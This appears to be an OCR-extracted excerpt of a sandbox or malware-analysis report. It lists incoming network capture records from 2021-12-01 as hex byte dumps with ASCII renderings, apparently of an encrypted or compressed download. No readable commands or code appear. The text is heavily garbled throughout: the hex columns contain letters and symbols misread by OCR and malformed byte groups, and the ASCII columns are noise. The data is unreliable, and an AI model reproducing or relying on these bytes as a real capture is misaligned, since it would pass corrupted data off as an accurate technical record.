Data Ascii: 6 V>5pB~.KUf(n=In|1ImA>_:X9C&[>'GF$$_~5T%0>V#.[BmJ.+DB"N"&aM1v4ORahuFrLyh8,Cc/mzX4MhzgTa

B"

2021-12-01 12:26:35 UTC 84 IN Data Raw: 83 bc 13 ab 97 49 3a 48 4e 13 68 f6 97 83 ee 2f ea 03 50 25 50 67 a4 0d b3 d1 27 24 68 76 Oa dc ce Ob ae d2
6dag a5 12 a5h6el 19 1967 2337 7574 f1 d3 68 al fb f1 e7 e53b a9 a4 le fd 4d 43 2a c7 72 8¢ 53 b9 fd 78 3e 7a db
ae 57 9a 76 2b 30 bb 67 28 30 5b 8b ca 30 85 ec 5e 98 2c 60 eb ce 6b 4a 45 cd 79 89 e4 a4 5c el 4d 26 3b 20 21 af 5a 63
8f 05 95 cb 05 8f c2 f4 7e df 3a 62 ¢5 77 2c de ¢7 ed cb 33 33 d1 36 60 74 23 25 11 dd 11 03 44 19 5f f4 28 2d cb Oe bd 99
6d d2 f7 52 65 33 ac 09 b9 45 3b 8¢ 98 12 da 5¢ 92 dc a5 f2 39 64 91 7c ca 2f 06 3¢ 77 15 9b 42 c7 98 2a 8e f3 84 83 b8
8a 8f 0d 16 ac f5 28 a6 25 78 1b 8¢ 34 ce {7 7c d2 f5 16 7e 47 ff 50 f1 28 da de 18 7d d2 b0 c8 19 34 c5 e4 cf b9 a4 3f 22
07 c3 af 74 77 9d 6¢ 5b 55 b3 18 8c e4 b5 {6 5e b4
Data Ascii: 1:HNh/P%Pg'$hvmg#7uth; MC*rSx>zWv+0g(0[0”, kJEY\M&; !Zc~:bw,336 t#%D_(-mRe3E;\9d|/<wB*(%x
4|~GP(}4?"twl[u”
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 86 IN Data Raw: 91 7a df cf c1 Oc 83 da 01 dc 73 a9 4f 92 09 98 95 28 8e 22 57 76 23 82 69 13 cc a8 b5 c3 2b fe 27 37 56 64 db
53 62 55 b2 €0 a7 07 07 46 71 ef 59 09 11 db 41 5e 57 67 47 f1 9f a0 1d 1b 38 8e c8 9 95 7b Oc 06 28 bc 38 48 c9 4e 41
10 a3 af b2 8b 7a 63 10 bf 80 6a 46 18 3b 50 86 57 99 1c Ob e4 03 49 ea 84 1a 55 6 97 Of da b5 56 ¢7 5e fd da f1 07 29
9d 25 1c e5 fc bd 55 97 da 8d 55 08 14 4e 00 86 21 ee 21 44 68 e5 0Oc 53 Oc fa 4b c8 4d 74 2f af ef 8¢ 8¢ 10 ad 11 3b ¢5
3a 35 90 e7 el 0a 34 de Oa 75 ad 86 b7 d3 bl 2d b4 25 f9 fa 4d 4b 8f ¢3 78 el 2c 31 c4 fb 89 47 2b 4d a6 52 99 f4 ea €0
a3 d1 92 aa 43 f4 ec d7 bf d7 6b 50 01 7b b7 7d eb 8b 87 91 12 bd 66 60 5a c4 28 c0 a3 ea 9 €0 b4 e7 7e 37 33 53 d4 02
a3 d7 81 6d f8 54 5a 49 42 6b 82 a7 87 77 €7 96 15 15
Data Ascii: zsO("Wv#i+7VdSbUFqYAMWgG8{(BHNAZC)F;PWIUVA)%UUN!DhSKM/;:54u-%6MKx, 1G+MRCKP{f Z(~73SmT
ZIBkw

2021-12-01 12:26:35 UTC 87 IN Data Raw: dd 61 5a 02 Oc 7a 89 e8 c1 51 5d 52 0a 56 6d 23 be 5f 5d 32 06 b9 c2 10 e7 Oa f4 6f d4 56 6b 39 76 Oa f4 ab ea
f3 a2 e8 66 ch 4a 7e 4c bb 20 da 17 6d Ob 0a 50 42 39 22 c5 1a 38 5e 41 c¢7 f1 57 65 b3 bb 2c a3 01 3d 86 f7 92 d8 2f aa
cd a0 e7 37 1d ed 43 d9 20 13 04 c9 16 b7 5d ed df ac 9f f1 b4 b6 3c 8b 85 64 e7 93 {7 2e bf 5¢ 25 08 9f 31 e6 a5 71 c9 01
9b b2 4c fd 2a 34 3e d7 d8 4f ee ce a3 ¢3 35 60 ¢8 80 11 47 a5 17 al al c6 85 67 Oc 56 66 48 57 d8 8f 9f eb b4 e5 2a 60
27 f7 91 95 2f fa 60 c0 fb 6a 21 b5 d5 56 93 69 ea 9a ea 1d 6a f9 57 0d 8¢ 08 d8 22 87 79 04 ba d0 6¢ 26 aa fa fa 07 ba b3
b7 58 1d €0 1e 76 fa 66 da 87 75 58 90 9f 4e 59 fd 65 33 50 70 23 ¢8 98 €7 48 92 ad b0 63 58 ee fe 16 d3 32 Ob ce da 6d
62 48 bd 99 34 36 14 0d 57 1a Ob 93 48 €5 75 bc
Data Ascii: aZzQ]RVm#_]20Vk9vfl~L mPB9"8"AWe,=/7C ]<d.\%1qL*4>05 GgVfHW*"/"jIVijW"yl&XVvfuXNYe3Pp#Hc
X2mbH46WHu

2021-12-01 12:26:35 UTC 88 IN Data Raw: 97 3e 30 27 8e 32 11 43 f8 13 d2 a3 ca 16 59 d5 db fb 2f 6b e4 ed 16 cd b9 cc 6b 9f d3 90 da d5 08 67 03 86 21
bb b7 46 68 eb 05 21 12 f4 4b d9 40 10 dd 51 ee a4 a4 03 dO Of b4 ef 3e 46 ac 9e 31 00 2c b0 68 47 87 c0 bf fb fe 2d cf e9
ef bacl b7 03 02 65 db 35 2f cc 99 b9 5a 11 b9 8f 3e ec f6 9b 38 a7 a2 d2 a0 52 fa 12 18 96 d7 61 7a 68 6¢ b6 77 fO 8c
ed 5a 7d 94 62 66 2b 81 e7 c0 a9 ff 4b fc 9d e4 7e 37 b9 2b 79 02 a9 de 95 80 40 6b 58 4d 41 52 c4 73 08 57 ee 81 81 fd
0d dc 97 f9 ¢8 01 91 9c 7d b5 a4 67 38 f8 16 77 73 56 02 6d 7d c4 8f 64 83 85 64 74 ce 28 a0 c8 92 23 55 34 1f d1 75 d5
89 50 93 89 f0 0d 93 3c f0 02 b6 e8 bb da 1a c1 d7 26 25 f1 dd b5 6f ae 07 8c 03 95 47 fb cb d2 db 07 e4 aa bc 33 f0 1c f6
43 71 dd 36 5a ae 16 1d 2a 78 dc 9c 03 62 71 b3
Data Ascii: >0'2CY/kkg!Fh!K@Q>F1,hG-e5/Z>8RazhlwZ}bf+K~7+y@kXMARsW}g8wsVm}ddt(#U4uP<&%0G3Cq6Z*xbq

2021-12-01 12:26:35 UTC 90 IN Data Raw: bd d2 af 9d 19 73 9f 85 56 2e b5 28 76 01 88 ab e2 ed 62 c0 1c 8d 7a 5d fd 2b 32 3b df f2 25 25 ce a9 65 1f 34
ce 61 ce 6f 68 17 2f 10 dc 0a 62 77 9d 67 5b 59 bd 04 89 c3 7b e3 51 ad 85 e6 9f Of 8¢ 62 77 63 fb 6b 23 8b 6a 68 93 63
c3d6 c2 ec 61 ee 8b ac a4 23 9d 22 ad 48 ca ba da 1c 71 2b fa el 7b 60 b7 a0 8a bb e6 1c 7e d3 14 90 85 7f 45 32 33 64
59 e6 1a 82 9b 70 27 ce f5 23 60 c8 a9 al 6d 4d ee e9 8a c3 3f Oe ce dO cd 70 3f 94 4d 27 38 1b 63 35 2d 37 de bc 32 ca
bc 71 76 ff 24 29 f1 61 aa c9 cd al ca 8a 14 db a0 be eb 27 b9 22 2d cf e7 32 1a fc 47 59 a5 c4 20 3d 1c 1f 63 93 23 db 54
ba el 04 0d 46 55 a6 8f 93 02 98 ¢8 99 1d eb 79 3b fc 21 cc 2f 93 9b eb a2 c2 65 71 01 16 9a 30 51 86 8¢ 35 6e 64 f8 €2
d6 47 3d 67 a2 1d d5 03 ¢5 ba 67 92 23 9a 13 f0 ad
Data Ascii: sV.(vbz]+2;%%e4aoh/bwg[Y{Qbwck#jhca#"Hg+{ ~E23dYp'# mM?p?M'8c5-72qv$)a™-2GY =c#TFUy;!/e
q0Q5ndG=gg#

2021-12-01 12:26:35 UTC 91 IN Data Raw: e2 82 22 a4 d9 87 ae 7a d4 3a 58 9e c1 4b 4b 29 6¢c b6 6f ea al 68 56 f2 bb 71 6f 09 fb 2b c0 a9 76 d7 93 8b
e4 6d 30 3b 12 d7 02 a9 53 bc fb 8b 6a 4b 4e 59 48 ea 1a 85 7d e8 97 95 95 ce ce 84 ec d4 2c b9 da 7c b5 bd 71 51 2a 3e
€176 51 77 40 76 d5 8e 5d 5a f2 5b 70 d8 34 9b 9c 82 37 4e 22 3b a2 30 d7 89 49 a8 db el 25 0f 15 b1 06 a5 eb d9 fd 09
cc 5e 1c 2d e0 d7 df ae c1 2f 8a b4 fc 47 e9 ce ce 68 21 3e 1f dO 22 €3 09 el 44 4b cf f1 d8 95 18 8c 3e 2d 1e 8d 06 71 b6
ad b3 5e 8f 4d 27 10 8b ca ed e3 b6 30 86 a9 5a b8 a7 b7 81 bd 08 b6 ea e0 12 9c ¢3 32 40 b3 94 ab ae 3b aa 34 2d 37
50 78 8e 0d b1 cO 3e 03 30 32 f4 d7 f3 32 ¢3 ¢9 1f 97 ad 7d 8b ab ed 75 7c 4b 24 23 6¢ 5a a7 c0 6f 25 5d ea 25 2e 5e fe
a9 35 de 74 04 39 c8 e9 b2 3c 9c ec 74 37 12 4e a0 c6 83
Data Ascii: “z:XKK)lohVqo+vmO;SjKNYH},|gQ*>vQw@V]Z[p47N";01%"-/Gh!>"DK>-q"M'0Z2@;4-7Px>022}u|K$#|Z0%
1%.75t9<t7N

2021-12-01 12:26:35 UTC 92 IN Data Raw: 04 e2 70 77 9f a0 74 e5 f7 1c 78 ¢3 38 56 fc 7f 4f 47 3a 7f 58 fd 6d 3d cd 72 23 c6 f4 e6 77 12 ba 66 e4 60 ff ed
11 f8 @6 0d ca cb 6a 70 3e 0d 2c 26 3f 1c 4f 4d 25 09 95 51 c9 24 ba 65 3 35 2f 2e d9 71 0d 31 c9 al ce e0 c5 57 db ba fc
4c 4b 3b 57 08 ed 41 48 90 9f €9 b0 53 24 17 1a 35 70 b0 11 de 7e 01 e0 04 Ob 86 55 b7 88 8e 3a 89 f0 32 Ob 15 78 17 ef
33 d8 39 6a 8c 39 a9 ff 6f 71 dc 05 95 37 b8 94 aa 37 54 6¢ c4 ff d5 10 f5 7f bl 13 5b a5 e5 a7 99 80 3f 93 02 81 97 9a b7
fb 64 €6 19 f2 4d fb 2e 72 f5 b0 11 94 2e 2 2f 8a 5a 04 de c4 19 89 a6 8f dd 62 a5 20 52 0a b4 95 47 cb 31 51 e6 18 c5 76
00 cc 80 ef cb 34 e4 d2 2c 69 6d f0 00 72 5b 80 14 a6 3a 04 67 13 10 8a f0 0d ea 55 4b 44 7c 48 ff a4 41 17 c9 69 a0 bf 21
93 6a 0f 80 8e 8a 26 d8 ee 5d 4b 12 9a
Data Ascii: pwtx8VOG:Xm=r#wf jp>,&?0M%Q$e5/.q1WLK;WAHS$5p~U:2x39j90q77TI[?dM.r./Zb RG1Qv4,imr[:gUKD|
HAIl&]K

2021-12-01 12:26:35 UTC 93 IN Data Raw: 09 a6 23 d5 9b 5a a9 cc €0 Oe b1 b8 b0 00 b0 db ad dd Ob cc 70 bf 24 f1 d9 dd a4 bf 01 8a cf 23 51 fa cf da 02
fO b0 a8 c3 ee 6a 67 2d 4a 60 df 8f 4b 85 16 1b 2a 78 d0 9c 03 62 76 24 cd af 81 5a f5 6¢ ed d9 e3 f8 7d 49 45 90 60 cc
26 bd 92 b4 1a a2 f5 12 6a 4a 4e 1f 68 66 91 83 e2 11 05 3f 59 23 76 6e 86 19 94 e9 36 2b 7d ed d7 f8 ca 08 ac d1 14 84
ae 11 8f a8 ed 73 ea 70 f4 33 7f 5a 99 7e 69 ab ec db €9 2e 4f c5 9e le {7 6f dd 28 d6 7f 9d 94 ba fd 72 30 17 24 73 57 9¢
5 b6 8d b3 fb 2c €5 48 95 d6 24 fa dd 5f b4 1b 60 92 03 61 50 2e 58 73 13 f1 da 60 98 91 2c 45 66 32 a4 47 9d 56 14 99
€3 7c 29 05 f4 7a f7 07 37 c1 66 2a e2 a8 39 cf 39 1d 8f b9 67 7e 4c al 04 c9 03 34 af 0a 50 fe 11 be d4 18 49 89 4d d3 dd
ea e3 22 a2 37 6e 42 3b 86 6 84 cf 48 bc 6¢ a0
Data Ascii: #Zp$#Qjg-J K*xbv$ZI} E'&jINhf?Y#vn6+}sp3Z~i.00(r0$sW,H$_"aP.Xs',Ef2GV/|)z7f*99g~L4PIM"7nB;HI

2021-12-01 12:26:35 UTC 95 IN Data Raw: a5 30 d5 11 8e e3 04 01 59 6f d8 72 99 29 89 db 92 1b 19 6d 2c 7c 39 c7 2f 92 9c 1b cc da 65 66 00 00 8c 24
c0 68 a0 37 4f 09 b9 03 d4 36 e5 6a b3 14 73 08 ed ba 61 9a 7c f2 11 85 a7 6f 81 fd 75 f6 65 cc 4f ea 2e 7c €8 59 c6 d7 2d
€226 91 3d f4 cf c1 Oc 97 a4 8e f5 5d ac 3c aa 64 f4 9d 56 c6 06 46 77 0d dO 65 7c f2 82 fe cb 44 98 2e 2d 4f 4d f0 64 7c
47 bb 6f a6 2b 08 53 f0 00 ad de 20 fa 52 57 38 1a 4a ee a4 78 0d 3c 6e 9d bd 5f al 79 08 04 56 d4 ec c7 e8 68 50 1c 9¢c
6c a0 85 61 6f 7a 60 be 3c bd el b7 66 a9 67 82 06 26 4c 38 4b ec el 5e 17 f4 9d 23 c2 a8 d1 be 75 d7 66 f9 2f 6f 89 a8
11 cd bd be 41 89 c7 b2 60 bf 7b 52 29 97 2b 93 f8 2b 05 e3 13 6b 39 e4 40 f1 66 68 16 57 81 cc af 12 dc ff 35 c0 2f 4d c1
37 e1 00 26 e5 77 4e e9 aa b4 ff d4 94 b5 2f ef
Data Ascii: 0Yor)m,|9/ef$h706jsaloueO.|Y-&=]<dVFwe|D.-OMd|Go+S RW8Jx<n_yVhPlaoz <fg&L8K #ufloA{R)++
k9@fhw5/M7&WN/

2021-12-01 12:26:35 UTC 96 IN Data Raw: 59 36 60 7a 95 58 bc d1 36 2b 77 33 f4 df ca 28 ac d1 14 95 b1 6f 4e a9 ed 77 69 70 ae 36 7f 56 9d da 40 85
e8 fd f9 4e 6e ef a6 14 8d 61 15 la cf 7c 84 ed 44 fd 72 17 1e 77 81 55 9c f7 4b 6d a5 21 31 45 59 99 b8 f0 c2 12 5b b6 1f
1f 09 df 61 54 00 49 78 9a d2 d4 62 a6 4d 2c 45 62 23 af 50 49 cf 03 bd 73 06 f4 03 f1 56 54 48 26 cd 5b 2d de ae ed cb 3f
68 bf 36 60 74 36 ae 14 f5 98 1d Oc 00 7c ff 11 Oc d6 18 45 eb 67 c5 f5 5e 9b 20 b3 5¢ 02 45 3b 82 5 95 d5 58 be b7 a0 ed
28 0a 7c 7c db 24 33 2c 89 14 a4 67 c1 9e 64 9f fb ac d9 b8 8a 85 60 bc ba f5 2e bf 20 71 77 73 3b ce e2 71 df 76 fa 52 4c
9 29 3b 55 3f da 34 21 cc a7 ba ff 25 ca ff d8 67 a5 53 2e 16 46 ac 65 77 9c 1b af 53 ac 0a 9d 98 c6 e5 51 al 5a 14 95 1b
9c 74 24 23 fb 6b 2d 9f 89 18 92 63 c8 c2
Data Ascii: Y6 zX6+w3(oNwip6V@Nna|DrwUKm!1EY[aTIxbM,Eb#PISVTH&[-?h6t6|Eg \E; X(||$3,9d". qws;qvRL);U?
41%gS.FewSQZt$#k-c
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 97 IN Data Raw: df 25 57 6d Oe d9 95 12 ea 8b fc c2 58 40 2d 2d 43 61 c2 51 68 4a 82 1b b1 d5 0f 52 ee 09 b5 f3 Oe e8 57 48
a9 77 64 e5 ad 5c¢ 6f 83 69 8¢ b5 3b 8f 68 0d Oe 28 bd f3 39 €3 62 48 1a e4 c¢7 b1 8b 7a 7f 78 7c 80 7b 47 01 41 90 85 7b
99 04 61 ea 3e 4b e0 91 38 06 f1 97 14 d6 bf 3e b5 4d €9 dc de d1 6e 29 24 16 cb ce c4 57 9d d9 e9 bf bd 7b 52 0d 9b 38
96 f2 55 6d fa ed 60 33 ff 4c df 3f 80 16 51 ea bc be 17 d6 c8 3e d3 c0 47 82 e6 6 13 29 b4 68 4f b0 8c 43 fa d8 2d 9f 2a
d7 95 3a 4f 8f 16 79 d9 24 Oe c6 ea bd 58 11 b3 6a 7e ee e7 85 22 b7 db 95 a4 26 67 3a 58 95 c4 6f 40 2d 46 fb 7c el 83
ed 53 f8 91 65 60 5d 6d 2a c0 a8 d1 ff bb f5 e7 7e 37 0d 89 dd dc a7 fb bf cc 8b 6b 52 44 60 7b c2 a5 8d a3 ee 86 a9 86 dc
cc 97 fd d9 Oc 99 db 77 9e ae 6b d6 3e 16 76 9d 53
Data Ascii: %WmX@--CaQhJRWHwd\oi;h(9bHzx|{GA{a>K8>Mn)$W{R8Um 3L?Q>G)hOC-*:0y$Xj~"&g:Xo@-F|
Se ' Im*~7kRD {wk>vS

2021-12-01 12:26:35 UTC 98 IN Data Raw: 3¢ 36 3c 77 a0 5¢c d4 7f ba €5 19 07 46 5d ac 67 99 05 87 e3 fe 16 19 78 1f el 30 39 2e b8 87 12 a7 93 74 67
0a 12 82 22 a3 87 a8 2e bb 67 ff Ob d7 14 79 66 a2 13 77 7f f5 b6 67 89 09 67 12 a9 a0 44 c9 68 64 f8 00 85 42 eb 24 69 ff
4210 b0 3b 1d 27 b7 58 99 d5 bc 14 9a b5 81 ¢2 7a a3 3c a4 13 66 9e 7a c4 53 ec 7d Ob c7 60 Oa ca 80 f6 dc d5 5 00 24
42 69 a6 4c 6¢ 4a 97 00 aa 2b 06 69 13 10 8a f4 16 f5 52 59 41 88 49 c2 ac 49 10 37 60 93 b9 ce 94 57 0a 25 3c 80 b3 38
1d b1 46 38 98 8a b0 8b d1 61 6b 79 51 6a 42 0f 5e 7d 80 6f 01 0d Oe 97 3c 5a ee 95 cc 14 d8 92 1c d9 bf d3 b0 61 ee de
€6 d1 68 b3 29 le ce ab 97 96 9c d3 9c ce al 68 5¢ 01 97 2f 8a Oc 45 44 e4 04 6b 05 e6 4f d9 53 6f 08 af ef 8¢ a6 1b d4
a4 36 c4 3e 42 bl ec f2 04 2c a5 7d 50 51 87 91 fe df
Data Ascii: <6<w\F]gx09.tg".gyfwggDhdB$iB;'Xz<fzS} $BILIJ+iRYAII7"W%<8F8akyQjB"}o<Zah)hVEDkOS06>B,}PQ

2021-12-01 12:26:35 UTC 99 IN Data Raw: f5 3c b0 c0 58 09 55 6e 9e 05 af d4 36 3a 72 2f Oa dc ce 22 ae aa 10 96 a7 16 ad d2 fd 72 6a 5¢ 37 35 04 4c b0
d1 6¢ 25 5d 92 56 3d 48 e7 bb 0d f2 65 12 2d d8 69 5a 13 97 ed 70 21 7b da a9 39 19 9e eb 3b a4 27 24 2d 48 9f c5 3e c7
0d 54 4a 1a 4e fc d8 63 2b 24 48 78 8d 8d 51 60 €3 47 25 9f da f4 a4 4f 47 df 02 95 d0 02 ec fb f5 52 d7 4b 5d d5 76 26 f2
971992008 9c 34 71 7b 52 5e 11 f1 11 37 10 15 59 e7 3c 22 c5 1d 5¢ 88 bf c6 d9 52 ca 14 bb 30 f0 40 3b 97 2 8f d6
a2 95 e3 ac e5 3f 73 a0 d6 25 df e6 33 87 07 b2 57 d4 9b b1 89 05 ad 5 b3 88 91 1f 9a ac 5 2a aa 35 74 0f 9f 2a cb f9 61
37 0a 3b 5e 4e 86 25 39 28 de f6 2b 3a dd b0 c2 19 34 cf ed 24 46 89 10 38 05 ce 87 74 72 82 71 b6 52 80 Oc b4 ee 8d 08
ac 54 d8 dd 95 1b 8b 46 5a c0 fe 69 29 9d 3e 57
Data Ascii: <XUn6:r/"rj\75L1%]V=He-iZp{9;'$-H>TINc+$HxQ G%OGRK]v& 4q{R"7Y<"\RO@;?s%3W*5t*a7; "N%9(+:
4$F8trqRTFZi)>W

2021-12-01 12:26:35 UTC 100 IN Data Raw: 02 f7 35 56 cc 2a 40 56 Ob da 5b 10 c6 af fe c1 2b 2f 2¢ 2d 54 18 57 42 6d 40 9f 1c a5 23 61 b5 ec 11 a0 da 02
fd 5a 3e 22 76 48 e4 ff 49 17 €9 79 88 a7 61 83 70 d6 04 31 94 e8 cf 8d 19 41 12 81 66 b4 al 70 60 7b 79 80 68 42 18 48
73 a7 57 99 0d Oe 97 3c 50 da 8b 32 12 f5 97 05 Of a3 c0 a5 63 af al f5 2e 69 9b 50 2a cd bd be 78 96 fb b4 c1 bf 7d 2b
82 84 2b 99 88 46 38 8e da 60 1f f3 41 f1 d1 69 16 5b e3 88 3e 10 d6 d3 37 cc 40 d5 ae e5 eb 28 ec b5 79 4c bc 82 bb 94
60 2d b4 25 fc bc ee 8d 62 3a 4f 4e 3d 3e ce f9 83 5b 00 b6 c8 e8 ec f6 9b 04 89 d3 c6 b3 57 f8 55 92 95 d7 6d 7e 37 7f b2
6c e4 f2 e5 56 f2 b9 6a 77 2¢c 81 30 cl a9 ff ed 96 fO c1 7f 3d 1f 7c 12 03 a9 d8 b1 e9 8d 43 cf 4b 48 49 ef 1f 59 73 fc 87
7d 90 fa dc 97 e6 b6 5b b9 db 76 69 ac 35 2c f6
Data Ascii: 5V*@V[+/,-TWBm@#azZ>"vHlyap1Afp {yhBHsW<P2c.iP*x}++F8"Ai[>7 @(yL -%b:ON=>[WUm~7IVjw,0=| CKH
1YS}{vi5,

2021-12-01 12:26:35 UTC 102 IN Data Raw: d5 4c 06 50 4b c6 18 88 d2 01 f4 14 f2 61 cc b7 27 eb 60 24 8d 8e ee cb 3d 0d b1 ad 62 7e 46 b6 08 b2 be 1c
Oc 00 4f ec 2a 24 d4 09 45 87 5b 39 f4 78 fa 20 df 2f e2 45 3f a6 7 11 db 5¢ bc 56 a2 ed 24 61 86 13 72 20 19 26 96 0f a4
51 c5 8f a8 88 05 ad f5 bb 92 96 64 94 bc f3 31 ba dc 66 26 83 39 b5 e8 72 c9 0f 14 29 55 fc 2b 3c 00 43 d8 34 2f d8 bb a8
b0 25 ca f1 ¢5 57 b6 15 2f 07 cd 98 6¢ 89 9c¢ 4a 00 51 d7 00 9e eb bl f9 dc 80 27 f7 94 08 9d 67 5a d6 e4 3b b5 8c €3 40
8c 28 5e d1 ef 05 77 72 90 85 bf 10 44 31 aa 29 19 ad 46 09 00 b1 e5 ea e6 60 b6 ab 43 22 6f 0d 7b cf 2a 46 96 7a 59 58
7d cd 59 fd 6d 51 91 63 25 cc 9f 9 7f d3 53 b1 45 69 fd 96 1e ea a3 Oa cc d9 14 7c 3a 83 9f 5b ee Ob 67 22 0d 93 91 42
c7 23 a4 1c a4 36 24 23 ea 7a 36 e4 cd b0 ce ee cb
Data Ascii: LPKa"$=b~FO*$E[9x /E?\V$ar &Qd1f&9r)U+<C4/%W/IIQ'gZ;@("wrD1)F C"of*FzYX}YmQc%SEil|:[g"B#6$#26

2021-12-01 12:26:35 UTC 103 IN Data Raw: 65 ff cb ff 30 7b 61 24 3a c2 bf c4 5f 9c d3 9e fa df 84 a7 fe 99 38 80 f6 44 79 e5 Oc 76 el f4 67 e2 40 10 18 50
ee a4 b3 9f fd d9 3b c4 33 4f b8 fa b1 9c 25 a3 66 01 33 8f a5 e0 68 26 ad 33 73 b3 df a6 ec 35 7c cd a3 37 d8 fc 1a 51 Oc
a5 3b 77 8 e8 fe 80 a3 d1 9c bd 4a e3 3e 58 85 d3 74 42 d7 6f 9a 6a e3 f2 f2 56 f2 b9 64 4e b2 f8 2a ca bf e5 93 3a 8b e5
74 22 0a 00 d2 02 b8 da 8e 05 8a 47 57 4b 33 4d c3 a5 83 7b 81 1d 81 86 d7 c6 84 f9 d9 1d bd c4 70 4b af 49 54 3c 6d 79
76 51 75 50 57 5f 87 75 81 e0 45 19 67 22 88 82 8f 2e 4c 21 1b b3 35 ¢9 77 5b 97 de f0 76 97 15 b1 04 a0 ca 30 dd Ob c6
4e 15 4a 58 df ce a8 bl Oe 9b b0 fa 40 fe dc 26 78 00 b3 b0 d4 fc fO 0d f6 55 7a 25 el f9 90 14 66 26 02 Oc 98 04 70 67 30
01 20 28 5a f1 09 9a c0 f0 f6 a3 10 64 a5
Data Ascii: e0{a$:_8Dyvg@P;30%f3h&3s5|7Q;wI>XtBojVdN*:t"GWK3M{pKIT<myvQUPW_UuEg".L!ISw[VONJIX
@&xUz%f&pgo (Zd

2021-12-01 12:26:35 UTC 104 IN Data Raw: 97 20 30 e7 5f c2 0f 78 d4 4e fd 21 2b 2c c6 ¢9 3c 25 df ab de e7 24 e6 fd cc 54 a0 09 3c 1e cb 96 6d 68 8b 98
49 7f bd 0d cf 90 ac e6 51 af 39 b7 0d e6 67 89 40 d7 8 63 29 8¢ ee 48 81 9d c3 ec e0 Oc 66 f9 56 93 a0 17 cb 33 a7 33
17 b2 c5 0f fb ab d6 eb 72 1e 19 b7 5¢ 3c ec 04 6d da 3c cb 8f 60 6¢ b8 13 48 55 ff 64 4a f4 a4 22 cc 88 f0 44 db a5 b0 78
43 e113 11 ¢7 aa 36 f0 25 90 9e 24 8a 88 3c 3c 1b 6f 33 db 08 bf 41 d5 26 b6 73 1c 3e 3b 26 Ob 67 09 ef db a6 df 2b 79
c8 a7 a9 fa52 73 33 5e 08 f6 3a 01 87 61 e2 €6 48 29 52 ed 35 70 a9 3e cd 6d b2 el 15 03 59 4f 49 98 b4 33 80 98 9c 71
1b 79 17 fa 56 41 2d 94 87 1c 79 56 09 1b 16 17 9d 2c b0 9c b3 3f 45 77 db 17 2a 3d da 64 b5 0a 53 b4 fe b2 78 a5 ed 98
3f 87 86 46 8f 41 98 07 f5 d2 4d f9 14 6e e4 32 10
Data Ascii: 0_xN!+,<%$T<mhlQ9g@c)HfV33r\<m<'|HUdJ"'DxC6%$<<03A&s>;&g+yRs3":aH)R5p>mYOI3qyVA-yV,?Ew*=
dSx?FAMn2

2021-12-01 12:26:35 UTC 106 IN Data Raw: 52 38 66 a9 66 1f 88 d0 5e fa ac 65 57 84 e5 36 d3 al fb ed 9b 94 f0 80 3c 37 1f c7 04 be 9e 8e fa 8b 6b 47 5f
5b 4b c2 b4 8f 62 f9 7f 82 aa c4 d9 94 f5 c6 00 6f f3 40 b4 ae 6f 6b 96 14 77 7d 2¢ 50 52 7f cO 9a 6d 98 fe 5b 67 c6 35 76
89 bc 20 47 36 13 a2 20 df 91 a4 ba e5 fe Oe 17 a3 ab 3f 14 e3 aa df 12 df 50 0f 34 f9 c0 c1 5c af 2b 9c b1 f9 59 e5 df Oe
51 10 bl a8 cd 85 ec 1d 2 4e 7f cb f3 dd 84 07 15 31 fd 0d b0 0d 62 63 30 01 55 5b 4d 2b 10 82 d7 f9 el ab 01 71 b0 48
€7 d8 b6 ad b5 10 ac e5 0d 6d 55 42 0a 48 b3 84 8b fe c7 ab 12 51 1d 1f 87 6a el a7 c2 3e 2b 66 3b e9 23 €3 13 ab d6 09
a4 ef Oc bc al ed 62 62 47 39 c9 7e 70 a8 d4 6b a3 f5 €9 29 15 74 ec a6 14 df cd 01 28 cd 05 87 13 bb 9 6d 3f 06 57 af 46
94 ee 34 c4 a5 0d 2a 3a 20 81 c4 2f c6 07 31
Data Ascii: R8ff*"eW6<7kG_[Kbo@ okw},PRm[g5v G6 ?P4\+YQN1bcOU[M+gHMUBHQj>+f;#bbG9~pk)t(m?WF4*: /1

2021-12-01 12:26:35 UTC 107 IN Data Raw: 8d 72 5e 43 03 62 d5 05 67 4e 9a 58 10 cd 8e e5 62 b3 a3 bl 69 4f 90 70 12 eb a9 82 5f da 6f 60 2d ab 07 35
3c 00 4b 20 33 03 4d 31 cf 24 b6 Oe 1c 37 24 2d {7 77 21 f5 a7 7b 7f €6 17 56 8b ba fc 4c 1e 30 57 08 €3 30 65 9c e e3
ce 4b 37 52 8a 37 70 a9 07 d9 05 b4 e0 04 0f 44 2e a7 98 98 2d 95 d9 9a bd 7a 23 17 fe 33 el 2d ef 83 14 a3 ea 6e 70 65
86 9f 28 a5 al b7 3d 9b 44 d1 7a da 3d f6 63 cd 9f 59 b4 e5 ac 0d bc 7b 67 ec 7a 73 4f 9f cc 64 f8 00 d0 75 ea 24 67 3a 4e
06 92 23¢9 67 87 52 9e cd c1 06 9b a7 85 dd 73 19 3d ac Ob 50 9e 56 cc 2¢ 57 7c Ob db 6b 13 ¢7 93 ce ¢3 2b dc 2c 2d
4563 db 42 7c 5¢ 98 35 bd 2b 09 69 13 10 8a f4 16 f2 52 56 41 88 49 c2 ac 49 17 37 6f 94 4d 31 b9 79 23 Oc 12 5b ec bc
f8 4f 41 16 al c0 b1l a3 67 61 6b 73 82 75 58 36 {3 6e 84
Data Ascii: r'*"CbgNXbiOp_o’-5<K 3M1$7$-w{VLOWO0eK7R7pD.-z#3-npe(=Dz=cY{gzsOdu$g:N#gRs=PV,W/|k+,-EcB|\5
+iIRVAII7oM1y#[OAgaksuX6n
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 108 IN Data Raw: bl f6 82 33 0f cc 5e 19 a8 f6 df ce a3 ba 13 9c a3 d2 f6 fa cb d2 5f 07 ea af d3 d0 1d 18 f2 4c 76 56 e7 d5 84 17
09 3c 17 24 3f 03 66 6a aa 9e al 85 5a f7 15 08 dc e3 f2 a2 15 74 ac 7f 6f 26 b7 8b 94 08 b3 fd 30 09 42 5a 31 af b7 95 85
f3 b4 ad 3e 59 24 43 7c 84 la aa f9 c6 2f 77 35 56 cc €6 2b b8 c¢5 36 34 a7 12 a5 81 58 73 6a 52 0d 35 54 64 b6 c5 40 46
ee fdf9 2b c5 eaab le f6 71 17 3c ef db a4 12 b1l e9 5a d7 11 5f a9 41 11 6 38 3a a5 35 2f 2b 73 39 ¢5 2f c8 3a eb b4 1b
